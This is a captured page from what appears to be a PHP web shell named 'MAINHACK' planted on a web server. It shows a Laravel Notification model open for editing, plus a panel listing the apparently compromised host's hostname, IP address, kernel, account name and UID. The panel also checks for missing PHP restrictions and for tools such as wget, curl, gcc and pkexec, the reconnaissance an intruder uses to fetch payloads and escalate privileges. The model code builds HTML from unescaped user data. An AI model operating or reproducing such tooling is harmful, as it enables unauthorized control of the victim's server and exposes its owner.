[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Notification.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Auth; class Notification extends Model { protected $fillable = [ 'workspace_id', 'user_id', 'project_id', 'related_id', 'type', 'data', 'is_read', ]; public function project() { return $this->belongsTo(Project::class); } public function task() { return $this->belongsTo(Task::class, 'related_id'); } public function bugReport() { return $this->belongsTo(BugReport::class, 'related_id'); } public function user() { return $this->belongsTo(User::class, 'user_id'); } public function toHtml() { $data = json_decode($this->data); $link = '#'; $icon = 'fa fa-bell'; $icon_color = 'bg-primary'; $text = ''; if ($this->type == 'task_assign') { $project = Project::find($data->project_id); if ($project) { $link = route('projects.task.board', [$this->workspace_id, $data->project_id]); $text = __('New task assign') . " <b>" . $data->title . "</b> " . __('in project') . " <b>" . $project->name . "</b>"; $icon = "fa fa-clock-o"; if ($data->priority == 'Low') { $icon_color = 'bg-success'; } elseif ($data->priority == 'High') { $icon_color = 'bg-danger'; } } else { return ''; } } elseif ($this->type == 'project_assign') { $link = route('projects.show', [$this->workspace_id, $data->id]); $text = __('New project assign') . " <b>" . $data->name . "</b>"; $icon = "fa fa-suitcase"; } elseif ($this->type == 'bug_assign') { $project = Project::find($data->project_id); if ($project) { $link = route('projects.bug.report', [$this->workspace_id, $data->project_id]); $text = __('New bug assign') . " <b>" . $data->title . "</b> " . __('in project') . " <b>" . $project->name . "</b>"; $icon = "fa fa-bug"; if ($data->priority == 'Low') { $icon_color = 'bg-success'; } elseif ($data->priority == 'High') { $icon_color = 'bg-danger'; } } } $user = User::find($this->user_id); $name = ''; if ($user && trim($user->name) != '') foreach (explode(' ', $user->name) as $word) $name .= strtoupper($word[0]); $date = $this->created_at->diffForHumans(); $html = '<a href="' . $link . '" class="list-group-item list-group-item-action p-1"> <div class="d-flex align-items-center" data-toggle="tooltip" data-placement="right" data-title="' . $date . '"> <div class="notification_icon_size"> <span class="avatar bg-primary text-white rounded-circle px-2 py-1">' . $name . '</span> </div> <div class="flex-fill ml-3"> <div class="h6 text-sm mb-0">' . $user->name . ' <small class="float-right text-muted">' . $date . '</small></div> <p class="text-sm lh-140 mb-0"> ' . $text . ' </p> </div> </div> </a>'; return $html; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002